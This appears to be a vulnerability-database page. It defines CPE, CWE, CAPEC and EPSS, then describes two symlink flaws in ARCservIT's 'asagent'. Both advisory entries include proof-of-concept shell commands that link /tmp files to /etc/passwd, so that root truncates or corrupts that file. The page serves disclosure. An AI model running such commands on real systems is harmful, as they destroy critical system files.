CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to overwrite arbitrary files.
When it runs for the first time, 'asagent', opens (and truncates it if it exists) a file in /tmp called 'asagent.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file.
This may allow malicious local users to overwrite critical system files.
As user:
je@boxname~> ln -s /etc/passwd /tmp/asagent.tmp
And root:
root@boxname# /usr/CYEagent/asagent start

ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to corrupt arbitrary files.
When it runs with the parameters 'inet add', 'asagent', opens (and overwrites it if it exists) a file in /tmp called 'inetd.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file.
This may allow malicious local users to corrupt critical system files.
je@boxname~> ln -s /etc/passwd /tmp/inetd.tmp
And root:
root@boxname# /usr/CYEagent/asagent inet add
Then,
je@boxname~> cat /etc/passwd
